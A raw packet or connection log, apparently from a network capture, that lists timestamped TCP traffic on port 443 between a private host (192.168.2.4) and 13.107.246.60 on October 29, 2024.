Oct 29, 2024 04:53:38.128204107 CET	443	49974	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.128283978 CET	443	49974	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.128334999 CET	49974	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.128499985 CET	49974	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.128509045 CET	443	49974	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.128519058 CET	49974	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.128523111 CET	443	49974	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.131272078 CET	49979	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.131372929 CET	443	49979	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.131448030 CET	49979	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.131638050 CET	49979	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.131678104 CET	443	49979	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.176275015 CET	443	49975	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.176366091 CET	443	49975	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.176467896 CET	443	49975	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.176480055 CET	49975	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.176525116 CET	49975	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.176723003 CET	49975	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.176739931 CET	443	49975	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.176749945 CET	49975	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.176760912 CET	443	49975	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.179231882 CET	49980	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.179255962 CET	443	49980	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.179332972 CET	49980	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.179488897 CET	49980	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.179502010 CET	443	49980	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.494260073 CET	443	49976	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.494976044 CET	49976	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.495065928 CET	443	49976	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.495371103 CET	49976	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.495387077 CET	443	49976	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.512747049 CET	443	49977	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.513345003 CET	49977	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.513390064 CET	443	49977	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.513593912 CET	49977	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.513606071 CET	443	49977	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.624737978 CET	443	49976	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.624876022 CET	443	49976	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.624958038 CET	49976	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.625096083 CET	49976	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.625132084 CET	443	49976	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.625159979 CET	49976	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.625174999 CET	443	49976	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.633447886 CET	49981	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.633538008 CET	443	49981	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.633629084 CET	49981	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.633824110 CET	49981	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.633869886 CET	443	49981	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.654073000 CET	443	49977	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.654093027 CET	443	49977	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.654119968 CET	443	49977	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.654171944 CET	49977	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.654227972 CET	49977	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.654417038 CET	49977	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.654417038 CET	49977	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.654453993 CET	443	49977	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.654479980 CET	443	49977	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.656864882 CET	49982	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.656889915 CET	443	49982	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.656958103 CET	49982	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.657077074 CET	49982	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.657085896 CET	443	49982	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.766395092 CET	443	49978	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.766836882 CET	49978	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.766868114 CET	443	49978	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.767262936 CET	49978	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.767277002 CET	443	49978	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.882452011 CET	443	49979	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.882985115 CET	49979	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.883018970 CET	443	49979	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.883466959 CET	49979	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.883482933 CET	443	49979	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.899813890 CET	443	49978	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.899884939 CET	443	49978	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.899966002 CET	49978	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.900084972 CET	49978	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.900135040 CET	443	49978	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.900161982 CET	49978	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.900176048 CET	443	49978	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.902982950 CET	49983	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.903040886 CET	443	49983	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.903126955 CET	49983	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.903331041 CET	49983	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.903358936 CET	443	49983	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.906203032 CET	443	49980	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.906521082 CET	49980	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.906536102 CET	443	49980	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:38.906904936 CET	49980	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:38.906908989 CET	443	49980	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.016516924 CET	443	49979	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.016582012 CET	443	49979	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.016652107 CET	49979	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.016683102 CET	443	49979	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.016716003 CET	443	49979	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.016771078 CET	49979	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.016920090 CET	49979	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.016920090 CET	49979	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.016944885 CET	443	49979	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.016967058 CET	443	49979	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.019720078 CET	49984	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.019768953 CET	443	49984	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.019860983 CET	49984	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.020028114 CET	49984	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.020054102 CET	443	49984	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.033870935 CET	443	49980	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.034008026 CET	443	49980	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.034075022 CET	49980	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.034104109 CET	49980	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.034112930 CET	443	49980	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.034122944 CET	49980	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.034127951 CET	443	49980	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.035876989 CET	49985	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.035887957 CET	443	49985	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.035947084 CET	49985	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.036046028 CET	49985	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.036056995 CET	443	49985	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.392981052 CET	443	49982	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.393553972 CET	49982	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.393568993 CET	443	49982	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.394063950 CET	49982	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.394068003 CET	443	49982	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.413516045 CET	443	49981	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.414205074 CET	49981	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.414205074 CET	49981	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.414242983 CET	443	49981	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.414299965 CET	443	49981	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.525173903 CET	443	49982	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.525227070 CET	443	49982	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.525388956 CET	49982	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.525526047 CET	49982	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.525532007 CET	443	49982	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.525540113 CET	49982	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.525544882 CET	443	49982	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.528815031 CET	49986	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.528870106 CET	443	49986	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.528971910 CET	49986	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.529148102 CET	49986	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.529175043 CET	443	49986	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.549644947 CET	443	49981	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.549793959 CET	443	49981	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.549865961 CET	49981	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.549973965 CET	49981	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.550000906 CET	443	49981	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.550024033 CET	49981	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.550040007 CET	443	49981	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.552428007 CET	49987	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.552439928 CET	443	49987	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.552514076 CET	49987	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.552654982 CET	49987	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.552666903 CET	443	49987	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.632145882 CET	443	49983	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.632544994 CET	49983	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.632564068 CET	443	49983	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.632955074 CET	49983	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.632966042 CET	443	49983	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.759490967 CET	443	49983	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.759531021 CET	443	49983	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.759584904 CET	443	49983	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.759587049 CET	49983	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.759632111 CET	49983	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.759865046 CET	49983	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.759865046 CET	49983	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.759888887 CET	443	49983	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.759910107 CET	443	49983	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.762651920 CET	49988	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.762712955 CET	443	49988	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.762809992 CET	49988	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.762964964 CET	49988	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.762995005 CET	443	49988	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.763117075 CET	443	49984	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.763459921 CET	49984	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.763489962 CET	443	49984	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.763863087 CET	49984	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.763873100 CET	443	49984	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.785540104 CET	443	49985	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.785902023 CET	49985	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.785911083 CET	443	49985	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.786241055 CET	49985	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.786245108 CET	443	49985	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.893649101 CET	443	49984	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.893768072 CET	443	49984	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.893842936 CET	49984	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.893882990 CET	49984	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.894012928 CET	49984	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.894033909 CET	443	49984	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.894056082 CET	49984	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.894068003 CET	443	49984	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.897135019 CET	49989	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.897218943 CET	443	49989	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.897305012 CET	49989	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.897491932 CET	49989	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.897546053 CET	443	49989	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.917679071 CET	443	49985	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.917818069 CET	443	49985	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.917882919 CET	49985	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.917953968 CET	49985	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.917960882 CET	443	49985	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.917969942 CET	49985	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.917973042 CET	443	49985	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.920170069 CET	49990	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.920203924 CET	443	49990	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:39.920289040 CET	49990	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.920439005 CET	49990	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:39.920454025 CET	443	49990	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.274693966 CET	443	49986	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.275187969 CET	49986	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.275252104 CET	443	49986	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.275645018 CET	49986	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.275660038 CET	443	49986	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.307588100 CET	443	49987	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.308064938 CET	49987	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.308073997 CET	443	49987	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.308357954 CET	49987	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.308362007 CET	443	49987	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.406618118 CET	443	49986	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.406653881 CET	443	49986	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.406728029 CET	49986	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.406951904 CET	49986	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.406991005 CET	443	49986	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.407016993 CET	49986	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.407032013 CET	443	49986	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.409953117 CET	49991	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.410012960 CET	443	49991	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.410099030 CET	49991	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.410237074 CET	49991	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.410268068 CET	443	49991	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.438091040 CET	443	49987	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.438313007 CET	443	49987	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.438381910 CET	49987	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.438442945 CET	49987	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.438447952 CET	443	49987	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.438456059 CET	49987	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.438460112 CET	443	49987	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.440356970 CET	49992	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.440402985 CET	443	49992	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.440469980 CET	49992	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.440581083 CET	49992	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.440598965 CET	443	49992	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.538764000 CET	443	49988	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.539186954 CET	49988	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.539242029 CET	443	49988	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.539669037 CET	49988	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.539686918 CET	443	49988	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.639997005 CET	443	49989	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.640544891 CET	49989	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.640604019 CET	443	49989	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.641016960 CET	49989	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.641031981 CET	443	49989	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.656384945 CET	443	49990	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.656713009 CET	49990	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.656737089 CET	443	49990	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.657113075 CET	49990	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.657125950 CET	443	49990	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.676626921 CET	443	49988	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.677714109 CET	443	49988	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.677789927 CET	49988	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.677860975 CET	49988	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.677860975 CET	49988	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.677891016 CET	443	49988	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.677917004 CET	443	49988	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.680418015 CET	49993	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.680438042 CET	443	49993	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.680521965 CET	49993	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.680638075 CET	49993	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.680650949 CET	443	49993	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.770828962 CET	443	49989	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.770905972 CET	443	49989	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.770971060 CET	49989	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.771122932 CET	49989	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.771158934 CET	443	49989	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.771183968 CET	49989	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.771198988 CET	443	49989	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.774008036 CET	49994	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.774044037 CET	443	49994	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.774125099 CET	49994	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.774291039 CET	49994	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.774308920 CET	443	49994	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.787249088 CET	443	49990	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.787945986 CET	443	49990	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.788070917 CET	49990	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.788120031 CET	49990	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.788120985 CET	49990	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.788140059 CET	443	49990	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.788161993 CET	443	49990	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.790261030 CET	49995	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.790273905 CET	443	49995	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:40.790337086 CET	49995	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.790472031 CET	49995	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:40.790484905 CET	443	49995	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.128213882 CET	443	49991	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.128801107 CET	49991	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.128827095 CET	443	49991	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.129291058 CET	49991	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.129303932 CET	443	49991	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.192337036 CET	443	49992	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.192938089 CET	49992	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.192970037 CET	443	49992	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.193285942 CET	49992	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.193295956 CET	443	49992	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.263684034 CET	443	49991	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.263710976 CET	443	49991	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.263744116 CET	443	49991	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.263809919 CET	49991	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.263845921 CET	49991	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.264111996 CET	49991	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.264111996 CET	49991	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.264137983 CET	443	49991	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.264158964 CET	443	49991	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.267054081 CET	49996	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.267086029 CET	443	49996	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.267164946 CET	49996	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.267309904 CET	49996	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.267323017 CET	443	49996	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.324894905 CET	443	49992	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.325027943 CET	443	49992	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.325088978 CET	49992	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.325138092 CET	49992	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.325165033 CET	443	49992	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.325184107 CET	49992	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.325191975 CET	443	49992	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.327061892 CET	49997	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.327121973 CET	443	49997	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.327203989 CET	49997	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.327338934 CET	49997	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.327359915 CET	443	49997	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.417784929 CET	443	49993	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.418215990 CET	49993	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.418226957 CET	443	49993	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.418628931 CET	49993	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.418633938 CET	443	49993	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.503576040 CET	443	49994	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.504004955 CET	49994	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.504039049 CET	443	49994	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.504450083 CET	49994	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.504461050 CET	443	49994	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.549316883 CET	443	49993	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.549390078 CET	443	49993	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.549455881 CET	49993	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:41.549464941 CET	443	49993	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:41.549496889 CET	443	49993	13.107.246.60	192.168.2.4
